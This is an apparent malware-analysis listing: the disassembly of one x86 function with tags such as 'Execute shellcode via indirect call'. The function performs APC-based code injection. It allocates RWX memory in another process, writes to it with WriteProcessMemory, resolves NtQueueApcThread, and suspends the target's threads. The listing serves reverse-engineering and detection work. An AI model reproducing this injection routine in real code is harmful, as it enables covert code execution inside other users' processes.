Function at 0x100025c8
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push edi
push 5
xor edx, edx
lea edi, [ebp - 0x7c]
pop ebx
xor eax, eax
mov dword [ebp - 0x80], edx
push 6
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x48], edx
lea edi, [ebp - 0x40]
mov dword [ebp - 0x44], edx
stosd dword es:[edi], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100049b9
mov dword [ebp - 8], eax
test eax, eax
je 0x100028b2
cmp dword [ebp + 0x18], 1
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x20]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x38], 0
mov dword [ebp - 0x80], 0x1c
jne 0x1000263b
mov dword [ebp - 0x14], 0x100280c8
mov dword [ebp - 0xc], 0xf5
jmp 0x1000270f
cmp dword [ebp + 0x18], 2
jne 0x10002817
and dword [ebp - 0x64], 0
lea edi, [ebp - 0x60]
push 6
pop ecx
xor eax, eax
mov dword [ebp - 0x14], 0x100281c0
rep stosd dword es:[edi], eax
mov esi, 0x100280b4
mov dword [ebp - 0xc], 0x144
lea edi, [ebp - 0x34]
push 0x40
push 0x3000
movsd dword es:[edi], dword [esi]
push 0x2000
push 0x6b0095f0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000281f
push 0x1c
lea ecx, [ebp - 0x64]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x1000281f
push dword [ebp - 0x58]
call fcn.1000fa60
mov edi, eax
pop ecx
test edi, edi
je 0x1000281f
push dword [ebp - 0x58]
push 0x90
push edi
call fcn.100103f0
add esp, 0xc
push 0
push dword [ebp - 0x58]
push edi
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000281f
push 0
push 0x12
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x58]
add eax, 0xffffffee
add eax, dword [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000281f
push edi
call fcn.1000fa28
pop ecx
push 0x10028304
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x1000281f
push str.NtQueueApcThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x1000281f
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jne 0x10002759
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10002828
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1000274e
mov eax, dword [ebp - 0xc]
push 0x40
push 0x3000
add eax, 0x14
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x1000274e
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push dword [ebp - 0x14]
lea edx, [ecx + eax]
push eax
push esi
mov dword [ebp - 0x10], edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000274e
push 0
push 0x14
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000274e
mov eax, dword [ebp + 0x14]
cmp dword [ebp - 0x74], eax
jne 0x10002807
push dword [ebp - 0x78]
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10002807
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
cmp eax, 0xffffffff
je 0x10002801
push dword [ebp - 8]
call fcn.10004b9f
pop ecx
pop ecx
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push esi
call dword [ebp - 0x20]
test eax, eax
jne 0x10002807
xor ebx, ebx
jmp 0x10002807
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x100027b6
jmp 0x1000282a
push 0xa
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [ebp - 4]
mov ebx, eax
test ebx, ebx
jne 0x1000285f
cmp dword [ebp + 8], ebx
je 0x1000285f
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x1000285f
push 2
push 0x20196
push esi
call fcn.1000381f
push esi
push dword [ebp + 8]
push ebx
call fcn.10003d31
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 8]
call fcn.10004bfc
mov esi, eax
pop ecx
test esi, esi
je 0x1000288f
mov edi, dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.10004bfc
mov esi, eax
pop ecx
test esi, esi
jne 0x10002871
mov edi, dword [ebp - 4]
push dword [ebp - 8]
call fcn.100049ed
pop ecx
pop esi
test edi, edi
je 0x100028a4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100028b2
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret